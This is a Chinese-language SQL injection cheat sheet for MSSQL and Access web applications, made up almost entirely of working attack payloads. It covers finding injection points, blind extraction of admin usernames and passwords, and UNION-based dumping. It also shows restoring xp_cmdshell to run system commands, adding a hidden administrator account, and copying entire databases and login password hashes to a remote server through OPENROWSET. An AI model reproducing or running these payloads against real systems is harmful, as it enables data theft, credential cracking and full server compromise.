1.判斷有無注入點
' ; and 1=1 and 1=2
2.猜表一般的表的名稱無非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判斷是否存在admin這張表
3.猜帳號數目 如果遇到0< 返回正確頁面 1<返回錯誤頁面說明帳號數目就是1個
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4.猜解字段名稱 在len( ) 括號里面加上我們想到的字段名稱.
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用戶字段名稱name)>0)
and 1=(select count(*) from admin where len(密碼字段名稱password)>0)
5.猜解各個字段的長度 猜解長度就是把>0變換 直到返回正確頁面為止
[code]
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 錯誤
and 1=(select count(*) from admin where len(name)>5) 正確 長度是6
and 1=(select count(*) from admin where len(name)=6) 正確
and 1=(select count(*) from admin where len(password)>11) 正確
and 1=(select count(*) from admin where len(password)>12) 錯誤 長度是12
and 1=(select count(*) from admin where len(password)=12) 正確
[/code]
6.猜解字符
[code]
and 1=(select count(*) from admin where left(name,1)='a') ---猜解用戶帳號的第一位
and 1=(select count(*) from admin where left(name,2)='ab')---猜解用戶帳號的第二位[/code]
就這樣一次加一個字符這樣猜,猜到夠你剛才猜出來的多少位了就對了,帳號就算出來了
[code]
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) -- [/code]
這個查詢語句可以猜解中文的用戶和密碼.只要把后面的數字換成中文的ASSIC碼就OK.最后把結果再轉換成字符.
[code]
'group by users.id having 1=1--
'group by users.id, users.username, users.password, users.privs having 1=1--
'; insert into users values( 666, 'attacker', 'foobar', 0xffff )--
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable'-
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id')-
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id','login_name')-
UNION SELECT TOP 1 login_name FROM logintable-
UNION SELECT TOP 1 password FROM logintable where login_name='Rahul'--
[/code]
看服務器打的補丁=出錯了打了SP4補丁
[code]
and 1=(select @@VERSION)--[/code]
看數據庫連接賬號的權限，返回正常，證明是服務器角色sysadmin權限。
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))--
判斷連接數據庫帳號。（采用SA賬號連接 返回正常=證明了連接賬號是SA）
[code]
and 'sa'=(SELECT System_user)--
and user_name()='dbo'--
and 0<>(select user_name()--[/code]
看xp_cmdshell是否刪除
[code]
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')--[/code]
xp_cmdshell被刪除，恢復,支持絕對路徑的恢復
[code]
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'--
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetpub\wwwroot\xplog70.dll'--[/code]
反向PING自己實驗
[code]
;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";-- [/code]
加帳號
[code]
;DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add'--[/code]
創建一個虛擬目錄E盤：
[code]
;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c：\inetpub\wwwroot\mkwebdir.vbs -w "默認Web站點" -v "e","e：\"'--[/code]
訪問屬性：（配合寫入一個webshell）
[code]
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c：\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse'[/code]
爆庫 特殊技巧：:%5c='\' 或者把/和\ 修改%5提交
and 0<>(select top 1 paths from newtable)--
得到庫名（從1到5都是系統的id，6以上才可以判斷）
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的數據庫名
[code]
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一個表 假設為 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 來得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin'
and uid>(str(id))) 暴到UID的數值假設為18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一個admin的一個字段,假設為 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
('id',...)) 來暴出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用戶名 [/code]
依次可以得到密碼。。。。。假設存在user_id username ,password 等字段
[code]
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address'))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 判斷id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union，access也好用)
[/code]
得到WEB路徑
[code]
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1--
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test)--
;use ku1;--
;create table cmd (str image);-- 建立image類型的表cmd[/code]
存在xp_cmdshell的測試過程：
[code]
;exec master..xp_cmdshell 'dir'
;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帳號

;exec master.dbo.xp_cmdshell 'net localgroup administrators jiaoniang$ /add';--
exec master..xp_servicecontrol 'start', 'schedule' 啟動服務
exec master..xp_servicecontrol 'start', 'server'
; DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C：\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add'
;DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C：\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add'

;declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\'
;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目錄bak.dat'
[/code]
如果被限制則可以。
[code]
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax')[/code]
查詢構造：
[code]
SELECT * FROM news WHERE id=... AND topic=... AND .....
admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>'
select 123;--
;use master;--
:a' or name like 'fff%';-- 顯示有一個叫ffff的用戶哈。
and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';--
;update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--
';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--
';update [users] set email=(select top 1 count(id) from password) where name='ffff';--
';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';--
';update [users] set email=(select top 1 name from password where id=2) where name='ffff';--
[/code]
上面的語句是得到數據庫中的第一個用戶表,并把表名放在ffff用戶的郵箱字段中。
通過查看ffff的用戶資料可得第一個用表叫ad
然后根據表名ad得到這個表的ID 得到第二個表的名字
[code]
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
insert into users values( 667,123,123,0xffff)--
insert into users values ( 123, 'admin''--', 'password', 0xffff)--
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //為access數據庫 [/code]
枚舉出數據表名
[code]
;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--[/code]
這是將第一個表名更新到aaa的字段處。
讀出第一個表，第二個表可以這樣讀出來（在條件后加上 and name<>'剛才得到的表名'）。
;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--
然后id=1552 and exists(select * from aaa where aaa>5)
讀出第二個表，一個個的讀出，直到沒有為止。
讀字段是這樣：
;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--
然后id=152 and exists(select * from aaa where aaa>5)出錯，得到字段名
;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
然后id=152 and exists(select * from aaa where aaa>5)出錯，得到字段名
[獲得數據表名][將字段值更新為表名，再想法讀出這個字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一個加一個]) [ where 條件] select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…)
通過SQLSERVER注入漏洞建數據庫管理員帳號和系統管理員帳號[當前帳號必須是SYSADMIN組]
[獲得數據表字段名][將字段值更新為字段名，再想法讀出這個字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id('要查詢的數據表名'),字段列如:1) [ where 條件]
繞過IDS的檢測[使用變量]

1、 開啟遠程數據庫
基本語法
select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123', 'select * from table1' )
參數: (1) OLEDB Provider name
2、 其中連接字符串參數可以是任何端口用來連接,比如
select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;', 'select * from table'
3.復制目標主機的整個數據庫insert所有遠程表到本地表。
基本語法：
insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123', 'select * from table1') select * from table2
這行語句將目標主機上table2表中的所有數據復制到遠程數據庫中的table1表中。實際運用中適當修改連接字符串的IP地址和端口，指向需要的地方，比如：
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from table1') select * from table2
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from _sysdatabases')
select * from master.dbo.sysdatabases
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from _sysobjects')
select * from user_database.dbo.sysobjects
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from _syscolumns')
select * from user_database.dbo.syscolumns
復制數據庫：
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from table1') select * from database..table1
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from table2') select * from database..table2
復制哈西表（HASH）登錄密碼的hash存儲于sysxlogins中。方法如下：
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from _sysxlogins') select * from database.dbo.sysxlogins
得到hash之后，就可以進行暴力破解。
遍歷目錄的方法： 先創建一個臨時表：temp
';create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
';insert temp exec master.dbo.xp_availablemedia;-- 獲得當前所有驅動器
';insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 獲得子目錄列表
';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 獲得所有子目錄的目錄樹結構,并寸入temp表中
';insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看某個文件的內容
';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\';--
';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\ *.asp /s/a';--
';insert into temp(id) exec master.dbo.xp_cmdshell 'cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc'
';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- （xp_dirtree適用權限PUBLIC）
寫入表：
語句1：and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));--
語句2：and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));--
語句3：and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));--
語句4：and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
語句5：and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
語句6：and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));--
語句7：and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--
語句8：and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--
語句9：and 1=(SELECT IS_MEMBER('db_owner'));--
把路徑寫到表中去：
;create table dirs(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_dirtree 'c:\'--
and 0<>(select top 1 paths from dirs)--
and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))--
;create table dirs1(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_dirtree 'e:\web'--
and 0<>(select top 1 paths from dirs1)--
把數據庫備份到網頁目錄：下載
;declare @a sysname; set @a=db_name();backup database @a to disk='e:\web\down.bak';--
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_name(object_id('USER_LOGIN'),1) from sysobjects) 參看相關表。

xp_dirtree適用權限PUBLIC
exec master.dbo.xp_dirtree 'c:\'
返回的信息有兩個字段subdirectory、depth。Subdirectory字段是字符型，depth字段是整形字段。
create table dirs(paths varchar(100), id int)
建表，這里建的表是和上面xp_dirtree相關連，字段相等、類型相同。
insert dirs exec master.dbo.xp_dirtree 'c:\'
只要我們建表與存儲進程返回的字段相定義相等就能夠執行！達到寫表的效果,一步步達到我們想要的信息！
